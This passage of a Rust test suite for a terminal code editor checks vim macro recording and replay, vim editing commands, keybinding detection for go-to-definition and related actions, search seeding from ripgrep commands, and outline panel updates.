    app.editor.cursor_col = 0;

    vim_feed(&mut app, 'q');
    app.handle_key(key(KeyCode::Down, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.macro_recording.is_none(),
        "the arrow key aborts the pending register gesture"
    );

    // The following letter must be an ordinary motion, not a register name.
    vim_feed(&mut app, 'j');
    assert!(
        app.macro_recording.is_none(),
        "and does not retroactively start a recording"
    );
}

#[test]
fn a_count_before_q_does_not_leak_into_the_recording() {
    // Vim discards a count on `q`. Keeping it would silently retarget the
    // recording's FIRST key — `3qa` then `j` moves three rows instead of one,
    // and the wrong motion is what gets captured. A pending count is
    // invisible, so the corruption only surfaces at replay.
    let (mut app, tmp) = vim_app("aaaa\nbbbb\ncccc\ndddd\neeee\n");
    app.macros_path = tmp.path().join("macros.json");
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    vim_feed_str(&mut app, "3qa");
    vim_feed(&mut app, 'j');
    assert_eq!(
        app.editor.cursor_row, 1,
        "the stale 3 must not make the recording's first j move three rows"
    );
}

#[test]
fn vim_q_records_into_a_register_and_at_replays_it() {
    // #255: `qa … q` records, `@a` replays, and the register survives as the
    // "last macro" so `@@` repeats it.
    let (mut app, tmp) = vim_app("one\ntwo\nthree\n");
    app.macros_path = tmp.path().join("macros.json");
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;

    vim_feed_str(&mut app, "qa");
    assert!(
        app.macro_recording.is_some(),
        "qa starts recording into a register"
    );
    assert_eq!(
        app.macro_recording.as_ref().unwrap().register,
        Some('a'),
        "and remembers which one, for the status badge"
    );

    // Record "insert X at the line start, then go down a line".
    vim_feed_str(&mut app, "IX");
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    vim_feed(&mut app, 'j');
    vim_feed(&mut app, 'q');
    assert!(app.macro_recording.is_none(), "the closing q stops");
    assert_eq!(app.editor.lines[0], "Xone", "the recorded keys still ran");

    // Replay once on line two.
    vim_feed_str(&mut app, "@a");
    assert_eq!(app.editor.lines[1], "Xtwo", "@a replays the register");

    // `@@` repeats the same macro.
    vim_feed_str(&mut app, "@@");
    assert_eq!(app.editor.lines[2], "Xthree", "@@ repeats the last macro");
}

#[test]
fn vim_a_count_replays_the_macro_that_many_times() {
    // `3@a` runs it three times, and a count before `@` is not swallowed by
    // the register letter.
    let (mut app, tmp) = vim_app("a\nb\nc\nd\n");
    app.macros_path = tmp.path().join("macros.json");
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;

    vim_feed_str(&mut app, "qz");
    vim_feed_str(&mut app, "IX");
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    vim_feed(&mut app, 'j');
    vim_feed(&mut app, 'q');

    vim_feed_str(&mut app, "3@z");
    assert_eq!(
        (
            app.editor.lines[1].as_str(),
            app.editor.lines[2].as_str(),
            app.editor.lines[3].as_str()
        ),
        ("Xb", "Xc", "Xd"),
        "3@z ran the macro three times"
    );
}

#[test]
fn a_replayed_key_is_never_recorded_into_the_macro_producing_it() {
    // Replay feeds keys back through handle_key, so without the re-entrancy
    // guard a macro would grow while replaying and never terminate.
    let (mut app, tmp) = vim_app("one\ntwo\n");
    app.macros_path = tmp.path().join("macros.json");
    vim_feed_str(&mut app, "qa");
    vim_feed_str(&mut app, "IX");
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    vim_feed(&mut app, 'q');
    let recorded_len = app.macro_registers.get("a").unwrap().len();

    vim_feed_str(&mut app, "@a");
    assert_eq!(
        app.macro_registers.get("a").unwrap().len(),
        recorded_len,
        "replaying must not append to the register it is replaying"
    );
}

#[test]
fn an_empty_recording_is_discarded_rather_than_clobbering_a_good_macro() {
    let (mut app, tmp) = vim_app("x\n");
    app.macros_path = tmp.path().join("macros.json");
    vim_feed_str(&mut app, "qa");
    vim_feed_str(&mut app, "IZ");
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    vim_feed(&mut app, 'q');
    let good = app.macro_registers.get("a").cloned().unwrap();

    // Start and immediately stop: nothing recorded.
    vim_feed_str(&mut app, "qa");
    vim_feed(&mut app, 'q');
    assert_eq!(
        app.macro_registers.get("a"),
        Some(&good),
        "an empty recording must not replace a useful register"
    );
}

#[test]
fn a_macro_recorded_in_vim_mode_replays_from_the_palette() {
    // The registers and the palette's "last macro" are one store, so the two
    // entry points are interchangeable — the issue calls this out explicitly.
    let (mut app, tmp) = vim_app("one\ntwo\n");
    app.macros_path = tmp.path().join("macros.json");
    vim_feed_str(&mut app, "qa");
    vim_feed_str(&mut app, "IX");
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    vim_feed(&mut app, 'j');
    vim_feed(&mut app, 'q');

    app.run_command(crate::widgets::command_palette::Command::MacroReplayLast);
    assert_eq!(
        app.editor.lines[1], "Xtwo",
        "the palette replays what vim recorded"
    );
}

#[test]
fn a_register_survives_a_restart_through_macros_json() {
    let (mut app, tmp) = vim_app("one\n");
    let path = tmp.path().join("macros.json");
    app.macros_path = path.clone();
    vim_feed_str(&mut app, "qa");
    vim_feed_str(&mut app, "IX");
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    vim_feed(&mut app, 'q');

    // A fresh load of the store sees the register, which is what App::new does.
    let reloaded = crate::macros::load(&path);
    assert_eq!(
        reloaded.get("a"),
        app.macro_registers.get("a"),
        "the register was persisted, not just held in memory"
    );
}

#[test]
fn vim_dd_deletes_the_current_line() {
    let (mut app, _t) = vim_app("alpha\nbeta\ngamma");
    vim_feed_str(&mut app, "dd");
    assert_eq!(app.editor.lines, vec!["beta", "gamma"]);
}

#[test]
fn vim_count_dd_deletes_multiple_lines() {
    let (mut app, _t) = vim_app("a\nb\nc\nd");
    vim_feed_str(&mut app, "2dd");
    assert_eq!(app.editor.lines, vec!["c", "d"]);
}

#[test]
fn vim_x_deletes_char_under_cursor() {
    let (mut app, _t) = vim_app("hello");
    vim_feed(&mut app, 'x');
    assert_eq!(app.editor.lines, vec!["ello"]);
}

#[test]
fn vim_dw_deletes_word_and_trailing_space() {
    let (mut app, _t) = vim_app("foo bar");
    vim_feed_str(&mut app, "dw");
    assert_eq!(app.editor.lines, vec!["bar"]);
}

#[test]
fn vim_de_deletes_to_word_end_inclusive() {
    let (mut app, _t) = vim_app("foo bar");
    vim_feed_str(&mut app, "de");
    assert_eq!(app.editor.lines, vec![" bar"]);
}

#[test]
fn vim_diw_deletes_inner_word() {
    let (mut app, _t) = vim_app("foo bar baz");
    // cursor on "foo"
    vim_feed_str(&mut app, "diw");
    assert_eq!(app.editor.lines, vec![" bar baz"]);
}

#[test]
fn vim_dollar_then_d_deletes_to_end_of_line() {
    let (mut app, _t) = vim_app("hello world");
    vim_feed_str(&mut app, "wd$");
    assert_eq!(app.editor.lines, vec!["hello "]);
}

#[test]
fn vim_insert_types_text_then_esc_returns_to_normal() {
    let (mut app, _t) = vim_app("bc");
    vim_feed(&mut app, 'i');
    vim_feed(&mut app, 'a');
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["abc"]);
    assert_eq!(app.vim.mode(), crate::vim::VimMode::Normal);
}

#[test]
fn vim_append_inserts_after_cursor() {
    let (mut app, _t) = vim_app("ac");
    vim_feed(&mut app, 'a'); // insert after the 'a'
    vim_feed(&mut app, 'b');
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["abc"]);
}

#[test]
fn vim_open_line_below_enters_insert_on_fresh_line() {
    let (mut app, _t) = vim_app("first");
    vim_feed(&mut app, 'o');
    vim_feed_str(&mut app, "second");
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["first", "second"]);
}

#[test]
fn vim_yank_line_then_paste_duplicates_it() {
    let (mut app, _t) = vim_app("dup\ntail");
    vim_feed_str(&mut app, "yy");
    vim_feed(&mut app, 'p');
    assert_eq!(app.editor.lines, vec!["dup", "dup", "tail"]);
}

#[test]
fn vim_visual_select_then_delete_removes_selection() {
    let (mut app, _t) = vim_app("abcdef");
    vim_feed(&mut app, 'v'); // visual at col 0 (covers 'a')
    vim_feed(&mut app, 'l'); // extend to 'b'
    vim_feed(&mut app, 'l'); // extend to 'c'
    vim_feed(&mut app, 'd'); // delete a,b,c inclusive
    assert_eq!(app.editor.lines, vec!["def"]);
}

#[test]
fn vim_normal_mode_swallows_plain_letters() {
    let (mut app, _t) = vim_app("text");
    vim_feed(&mut app, 'z'); // unmapped in Normal: must not be inserted
    assert_eq!(app.editor.lines, vec!["text"]);
}

#[test]
fn vim_search_moves_cursor_to_match() {
    let (mut app, _t) = vim_app("alpha needle omega");
    vim_feed(&mut app, '/');
    vim_feed_str(&mut app, "needle");
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 0);
    assert_eq!(
        app.editor.cursor_col, 6,
        "cursor lands on the 'n' of needle"
    );
}

#[test]
fn update_spinner_frame_cycles_through_all_frames_and_wraps() {
    // Frame 0 at the start, advances one frame per UPDATE_SPINNER_FRAME_MS.
    assert_eq!(update_spinner_frame(0), UPDATE_SPINNER_FRAMES[0]);
    assert_eq!(
        update_spinner_frame(UPDATE_SPINNER_FRAME_MS),
        UPDATE_SPINNER_FRAMES[1]
    );
    assert_eq!(
        update_spinner_frame(UPDATE_SPINNER_FRAME_MS * 5 + 50),
        UPDATE_SPINNER_FRAMES[5],
        "mid-frame elapsed still maps to the floor frame"
    );
    // Wraps back to frame 0 after a full cycle of all six frames.
    let cycle = UPDATE_SPINNER_FRAME_MS * UPDATE_SPINNER_FRAMES.len() as u128;
    assert_eq!(update_spinner_frame(cycle), UPDATE_SPINNER_FRAMES[0]);
    assert_eq!(
        update_spinner_frame(cycle + UPDATE_SPINNER_FRAME_MS),
        UPDATE_SPINNER_FRAMES[1]
    );
}

#[test]
fn vim_search_records_active_match_and_advances_with_n() {
    // Two matches on one line: "x needle y needle z" -> cols 2 and 11.
    let (mut app, _t) = vim_app("x needle y needle z");
    vim_feed(&mut app, '/');
    vim_feed_str(&mut app, "needle");
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match,
        Some((0, 2, 6)),
        "the match the cursor jumped to must be recorded as (row, col_chars, len_chars) so the renderer paints it orange while the other 'needle' stays yellow"
    );
    vim_feed(&mut app, 'n');
    assert_eq!(
        app.editor.active_search_match,
        Some((0, 11, 6)),
        "`n` advances the active match to the next occurrence"
    );
}

#[test]
fn vim_gg_and_capital_g_jump_between_ends() {
    let (mut app, _t) = vim_app("one\ntwo\nthree");
    app.handle_key(key(KeyCode::Char('G'), KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 2);
    vim_feed_str(&mut app, "gg");
    assert_eq!(app.editor.cursor_row, 0);
}

#[test]
fn vim_toggle_works_from_any_pane_even_with_no_editor_focus() {
    let (mut app, _t) = vim_app("abc");
    app.vim.enabled = false;
    // Focus the file tree, not the editor.
    app.focus = Pane::Tree;
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.vim.enabled,
        "Cmd+E must toggle vim mode globally, from any pane, so it can be pre-armed before opening or focusing a file"
    );
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        !app.vim.enabled,
        "a second Cmd+E from the tree toggles it back off"
    );
}

#[test]
fn vim_toggle_off_clears_search_highlights() {
    let (mut app, _t) = vim_app("x needle y needle z");
    vim_feed(&mut app, '/');
    vim_feed_str(&mut app, "needle");
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.editor.search_highlight.is_some(),
        "precondition: a vim search leaves the match-highlight term set"
    );
    assert!(app.editor.active_search_match.is_some());
    // Toggling vim mode off with Cmd+E is the only way to dismiss vim search
    // highlights, so it must clear both the highlight term and the active match.
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::SUPER))
        .unwrap();
    assert!(!app.vim.enabled);
    assert!(
        app.editor.search_highlight.is_none(),
        "toggling vim off must clear the search-match highlight term so no matches stay painted"
    );
    assert!(
        app.editor.active_search_match.is_none(),
        "toggling vim off must clear the active-match marker too"
    );
}

#[test]
fn vim_toggle_off_restores_plain_typing() {
    let (mut app, _t) = vim_app("");
    // Cmd+E turns modal editing off.
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::SUPER))
        .unwrap();
    assert!(!app.vim.enabled);
    vim_feed_str(&mut app, "hi");
    assert_eq!(app.editor.lines, vec!["hi"]);
}

#[test]
fn vim_toggle_on_with_cmd_e_enables_modal_editing() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("buf.txt");
    std::fs::write(&f, "abc").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.focus = Pane::Editor;
    // Cmd+E from a plain editor turns modal editing on.
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.vim.enabled);
    assert_eq!(app.vim.mode(), crate::vim::VimMode::Normal);
    // A plain letter is now a Normal-mode command, not inserted text.
    vim_feed(&mut app, 'x');
    assert_eq!(app.editor.lines, vec!["bc"]);
}

#[test]
fn vim_ex_goto_line_number() {
    let (mut app, _t) = vim_app("l1\nl2\nl3\nl4");
    vim_feed(&mut app, ':');
    vim_feed(&mut app, '3');
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 2);
}

#[test]
fn vim_cmd_save_shortcut_still_works_in_normal_mode() {
    // A Cmd-modified key must pass through to the editor's own handling
    // rather than being swallowed by Normal mode.
    let (mut app, _t) = vim_app("data");
    vim_feed(&mut app, 'x'); // edit so the buffer is dirty: "ata"
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["ata"]);
    assert!(
        !app.editor.dirty,
        "Cmd+S should have saved through Normal mode"
    );
}

#[test]
fn rename_symbol_key_is_plain_f2_only() {
    assert!(is_rename_symbol_key(key(KeyCode::F(2), KeyModifiers::NONE)));
    // Modified F2 is Change All Occurrences, not Rename Symbol.
    assert!(!is_rename_symbol_key(key(
        KeyCode::F(2),
        KeyModifiers::SUPER
    )));
    assert!(!is_rename_symbol_key(key(
        KeyCode::F(2),
        KeyModifiers::CONTROL
    )));
    assert!(!is_rename_symbol_key(key(
        KeyCode::F(3),
        KeyModifiers::NONE
    )));
}

#[test]
fn format_document_key_is_cmd_opt_shift_f() {
    // VS Code "Format Document" is Shift+Alt+F; croft forwards it as the
    // Cmd+Opt+Shift+F chord (modifier byte 12) so it reaches the editor over
    // iTerm2's GlobalKeyMap and Ghostty's csi: keybind alike.
    assert!(is_format_document_key(key(
        KeyCode::Char('F'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
    // Linux / Termux fold the command modifier onto Ctrl.
    assert!(is_format_document_key(key(
        KeyCode::Char('f'),
        KeyModifiers::CONTROL | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
    // Any missing modifier, or a different letter, is not the chord.
    assert!(!is_format_document_key(key(
        KeyCode::Char('F'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(!is_format_document_key(key(
        KeyCode::Char('g'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT
    )));
}

#[test]
fn change_all_occurrences_key_accepts_cmd_ctrl_or_alt_f2() {
    // macOS Cmd, Linux Ctrl, and iTerm2's Cmd-folded-to-Meta (ALT) all fire.
    assert!(is_change_all_occurrences_key(key(
        KeyCode::F(2),
        KeyModifiers::SUPER
    )));
    assert!(is_change_all_occurrences_key(key(
        KeyCode::F(2),
        KeyModifiers::CONTROL
    )));
    assert!(is_change_all_occurrences_key(key(
        KeyCode::F(2),
        KeyModifiers::ALT
    )));
    // Plain F2 stays Rename Symbol.
    assert!(!is_change_all_occurrences_key(key(
        KeyCode::F(2),
        KeyModifiers::NONE
    )));
}

#[test]
fn go_to_definition_key_is_f12_without_shift() {
    assert!(is_go_to_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::NONE
    )));
    // Alt+F12 is Peek Definition now (#115): the fold-noise tolerance the
    // plain jump used to extend to a stray ALT bit moved onto the peek,
    // which is the strictly less disruptive consumer.
    assert!(!is_go_to_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::ALT
    )));
    // Shift+F12 is Declaration, Ctrl+F12 is Type Definition, Cmd+F12 (SUPER) is
    // Implementations; none of the three is Definition.
    assert!(!is_go_to_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT
    )));
    assert!(!is_go_to_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::CONTROL
    )));
    assert!(!is_go_to_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::SUPER
    )));
    assert!(!is_go_to_definition_key(key(
        KeyCode::F(11),
        KeyModifiers::NONE
    )));
}

#[test]
fn go_to_references_key_is_shift_f12() {
    // VS Code's real binding: Shift+F12 = Go to References.
    assert!(is_go_to_references_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT
    )));
    // Plain F12 is Definition, not References.
    assert!(!is_go_to_references_key(key(
        KeyCode::F(12),
        KeyModifiers::NONE
    )));
    // Ctrl+Shift+F12 is Declaration, not References; the Ctrl bit must split
    // them when both Shift and Ctrl are reported.
    assert!(!is_go_to_references_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT | KeyModifiers::CONTROL
    )));
    // Cmd+F12 is Implementations.
    assert!(!is_go_to_references_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT | KeyModifiers::SUPER
    )));
    assert!(!is_go_to_references_key(key(
        KeyCode::F(2),
        KeyModifiers::SHIFT
    )));
}

#[test]
fn go_to_declaration_key_is_ctrl_shift_f12() {
    // Declaration moved off bare Shift+F12 (now References) to Ctrl+Shift+F12.
    assert!(is_go_to_declaration_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT | KeyModifiers::CONTROL
    )));
    // Plain F12 is Definition.
    assert!(!is_go_to_declaration_key(key(
        KeyCode::F(12),
        KeyModifiers::NONE
    )));
    // Bare Shift+F12 is now References, not Declaration.
    assert!(!is_go_to_declaration_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT
    )));
    // Ctrl+F12 (no Shift) is Type Definition, not Declaration.
    assert!(!is_go_to_declaration_key(key(
        KeyCode::F(12),
        KeyModifiers::CONTROL
    )));
    assert!(!is_go_to_declaration_key(key(
        KeyCode::F(2),
        KeyModifiers::SHIFT | KeyModifiers::CONTROL
    )));
}

#[test]
fn go_to_type_definition_key_is_ctrl_f12() {
    assert!(is_go_to_type_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::CONTROL
    )));
    // Plain F12 (Definition) and Shift+F12 (References) are not Type Definition.
    assert!(!is_go_to_type_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::NONE
    )));
    assert!(!is_go_to_type_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT
    )));
    // Ctrl+Shift+F12 is Declaration, not Type Definition.
    assert!(!is_go_to_type_definition_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT | KeyModifiers::CONTROL
    )));
    assert!(!is_go_to_type_definition_key(key(
        KeyCode::F(11),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn go_to_implementation_key_is_cmd_f12() {
    assert!(is_go_to_implementation_key(key(
        KeyCode::F(12),
        KeyModifiers::SUPER
    )));
    // Plain F12 (Definition), Shift+F12 (References) and Ctrl+F12 (Type
    // Definition) are not Implementations.
    assert!(!is_go_to_implementation_key(key(
        KeyCode::F(12),
        KeyModifiers::NONE
    )));
    assert!(!is_go_to_implementation_key(key(
        KeyCode::F(12),
        KeyModifiers::SHIFT
    )));
    assert!(!is_go_to_implementation_key(key(
        KeyCode::F(12),
        KeyModifiers::CONTROL
    )));
    assert!(!is_go_to_implementation_key(key(
        KeyCode::F(11),
        KeyModifiers::SUPER
    )));
}

#[test]
fn implementation_picker_lists_every_target_as_a_jump_item() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let a = tmp.path().join("foo.rs");
    let b = tmp.path().join("sub").join("bar.rs");
    app.open_location_picker(
        vec![(a.clone(), 4, 2), (b.clone(), 0, 0)],
        "implementations",
    );

    let menu = app
        .context_menu
        .as_ref()
        .expect("multiple implementations must open a picker, not silently pick the first");
    assert_eq!(
        menu.items.len(),
        2,
        "every implementor must get its own selectable row"
    );
    // Labels are workspace-relative path + 1-based line; actions jump straight
    // to the resolved location.
    assert_eq!(menu_label(&menu.items[0]), "foo.rs:5");
    assert!(matches!(
        menu.items[0].action(),
        Some(MenuAction::GoToLocation { path, line: 4, col: 2 }) if path == &a
    ));
    assert_eq!(
        menu_label(&menu.items[1]),
        format!("sub{}bar.rs:1", std::path::MAIN_SEPARATOR)
    );
    assert!(matches!(
        menu.items[1].action(),
        Some(MenuAction::GoToLocation { path, line: 0, col: 0 }) if path == &b
    ));
}

#[test]
fn shortcut_for_returns_expected_shortcuts_for_editor_symbol_actions() {
    // Every editor symbol-menu row must advertise a working accelerator.
    assert_eq!(
        shortcut_for(&MenuAction::GoToDefinitionAt { row: 0, col: 0 }),
        Some("F12")
    );
    assert_eq!(
        shortcut_for(&MenuAction::GoToReferencesAt { row: 0, col: 0 }),
        Some("⇧F12")
    );
    assert_eq!(
        shortcut_for(&MenuAction::GoToDeclarationAt { row: 0, col: 0 }),
        Some("⌃⇧F12")
    );
    assert_eq!(
        shortcut_for(&MenuAction::GoToTypeDefinitionAt { row: 0, col: 0 }),
        Some("⌃F12")
    );
    assert_eq!(
        shortcut_for(&MenuAction::GoToImplementationAt { row: 0, col: 0 }),
        Some("⌘F12")
    );
    assert_eq!(
        shortcut_for(&MenuAction::RenameSymbolAt { row: 0, col: 0 }),
        Some("F2")
    );
    assert_eq!(
        shortcut_for(&MenuAction::ChangeAllOccurrencesAt { row: 0, col: 0 }),
        Some("⌘F2")
    );
}

#[test]
fn switching_sidebar_view_closes_the_open_commit_dropdown() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::SourceControl);
    app.commit_menu_open = true;
    // Leaving Source Control must close the dropdown so it can't paint
    // over the Run-Debug (or any other) sidebar view.
    app.set_sidebar_view(SidebarView::RunDebug);
    assert!(
        !app.commit_menu_open,
        "the commit dropdown must close when the sidebar view changes"
    );
}

// --- Split editor (side-by-side panes) -----------------------------------

/// Seeding the Search panel from a terminal command must describe THAT
/// command: filter globs left over from an earlier manual search would
/// silently narrow the seeded results (the terminal scanned everything), and
/// the status line would still claim a faithful seed — feeding Replace All a
/// wrong subset.
#[test]
fn seeding_search_replaces_stale_include_and_exclude_filters() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.search.include = String::from("*.md");
    app.search.exclude = String::from("vendor");
    assert!(app.seed_search_from_command("rg TODO"));
    assert_eq!(
        app.search.include, "",
        "a bare rg scanned everything; a stale include must not filter the seeded search"
    );
    assert_eq!(app.search.exclude, "");
    assert!(app.seed_search_from_command("rg -g '*.rs' -g '!target' TODO"));
    assert_eq!(app.search.include, "*.rs");
    assert_eq!(app.search.exclude, "target");
}

/// A byte-range selection made in the Include field before the seed must not
/// survive into the (shorter) seeded text: the next keystroke used to
/// replace_range the stale span and panic out of bounds.
#[test]
fn seeding_search_cannot_leave_a_stale_field_selection() {
    use crate::widgets::search::SearchField;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.search.include = String::from("**/*.rs,**/*.toml");
    app.search.focus_field(SearchField::Include);
    app.search.select_all_active();
    assert!(app.seed_search_from_command("rg -g '*.md' TODO"));
    assert_eq!(
        app.search.field,
        SearchField::Query,
        "seeding hands focus to the query field it just filled"
    );
    app.search.type_char('x');
    assert_eq!(app.search.include, "*.md", "the seeded include is intact");
}

/// Open a file into the focused editor group of a fresh App.
fn app_with_open_file(tmp: &std::path::Path, name: &str, body: &str) -> App {
    let f = tmp.join(name);
    std::fs::write(&f, body).unwrap();
    let mut app = App::new(tmp.to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app
}

fn outline_sym(
    name: &str,
    kind: crate::lsp::manager::OutlineKind,
    start: u32,
    end: u32,
) -> crate::lsp::manager::OutlineSymbol {
    crate::lsp::manager::OutlineSymbol {
        name: name.to_string(),
        detail: None,
        kind,
        depth: 0,
        line: start,
        character: 0,
        range_start_line: start,
        range_end_line: end,
    }
}

#[test]
fn outline_symbols_apply_only_for_the_active_file() {
    use crate::lsp::manager::OutlineKind;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn a() {}\n");
    let active = app.editor.path.clone().unwrap();
    let syms = vec![outline_sym("a", OutlineKind::Function, 0, 0)];

    // A reply for a file the user already navigated away from is dropped.
    let other = tmp.path().join("b.rs");
    assert!(
        !app.apply_outline_symbols(other, 0, syms.clone()),
        "a reply whose path is not the active editor file must be ignored"
    );
    assert!(app.outline.path.is_none(), "stale reply must not populate");

    // A reply for the active file populates the outline.
    assert!(app.apply_outline_symbols(active.clone(), 0, syms));
    assert_eq!(app.outline.path.as_ref(), Some(&active));
    assert!(!app.outline.is_empty());
}

#[test]
fn an_outline_reply_is_matched_by_request_not_by_the_larger_seq() {
    use crate::lsp::manager::OutlineKind;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn a() {}\n");
    let active = app.editor.path.clone().unwrap();

    // `seq` is a per-Editor counter, and a file landing in a FRESH editor group
    // (a Cmd+\ split, or close-and-reopen) restarts it at zero. So the request
    // actually outstanding can carry a far smaller number than a reply still in
    // flight from the group the user left, and "the highest seq is the newest"
    // is simply false. Anything that pre-selects replies by size before this
    // guard sees them keeps the stale one; the guard then rejects it on the
    // exact-match rule, and sync_outline never re-requests because its
    // (path, seq) key has not moved — the outline stays tree-sitter-only until
    // the next edit.
    app.outline_synced = Some((active.clone(), Some(1)));

    let stale = vec![outline_sym(
        "from_the_old_group",
        OutlineKind::Function,
        0,
        0,
    )];
    assert!(
        !app.apply_outline_symbols(active.clone(), 40, stale),
        "a bigger seq is a reply from a previous editor group, not a newer one"
    );
    assert!(app.outline.is_empty(), "the stale reply must not populate");

    let fresh = vec![outline_sym("outstanding", OutlineKind::Function, 0, 0)];
    assert!(
        app.apply_outline_symbols(active.clone(), 1, fresh),
        "the reply matching the outstanding request applies however small its seq"
    );
    assert!(!app.outline.is_empty());
}

#[test]
fn sync_outline_settles_empty_for_a_file_without_a_language_server() {
    // A plain text file has no language server, so no documentSymbol reply will
    // ever arrive. sync_outline must settle the panel to a loaded, empty state
    // (rendering "No symbols") rather than leaving it spinning on "Loading".
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.txt", "hello\nworld\n");
    let active = app.editor.path.clone().unwrap();
    app.sync_outline();
    assert_eq!(app.outline.path.as_ref(), Some(&active));
    assert!(app.outline.is_empty(), "no symbols for a non-served file");
    assert!(
        app.outline.loaded(),
        "outline must be marked loaded so it shows 'No symbols', not 'Loading'"
    );
}

#[test]
fn sync_outline_populates_from_tree_sitter_without_a_language_server() {
    // Even with no LSP attached, opening a source file must fill the OUTLINE
    // instantly from the buffer's own syntax tree (tree-sitter-first), so the
    // panel never spins on "Loading" waiting for a cold server.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(
        tmp.path(),
        "demo.rs",
        "struct S;\n\nfn alpha() {}\n\nfn beta() {}\n",
    );
    app.sync_outline();
    assert!(
        app.outline.loaded(),
        "syntactic outline settles immediately"
    );
    assert!(
        !app.outline.is_empty(),
        "tree-sitter must surface the struct and two functions"
    );
}

#[test]
fn empty_lsp_reply_keeps_the_tree_sitter_outline() {
    // A server that lacks documentSymbol (or replies before indexing) sends an
    // empty outline. That must not blank symbols tree-sitter already painted.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "demo.rs", "fn only() {}\n");
    let active = app.editor.path.clone().unwrap();
    app.sync_outline();
    assert!(!app.outline.is_empty(), "tree-sitter painted the outline");
    assert!(
        !app.apply_outline_symbols(active, 0, Vec::new()),
        "an empty LSP reply is ignored when an outline already exists"
    );
    assert!(
        !app.outline.is_empty(),
        "the tree-sitter outline survives the empty reply"
    );
}

#[test]
fn clicking_the_outline_header_toggles_collapse() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn a() {}\n");
    // Hermetic: ignore the user's real Outline-view pref (see scrollbar test).
    app.explorer_views = Default::default();
    let active = app.editor.path.clone().unwrap();
    app.apply_outline_symbols(
        active,
        0,
        vec![outline_sym(
            "a",
            crate::lsp::manager::OutlineKind::Function,
            0,
            0,
        )],
    );
    assert!(app.outline.collapsed, "starts collapsed");

    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let hdr = app.outline.last_area;
    assert!(hdr.height > 0, "outline must have rendered");
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        hdr.x + 2,
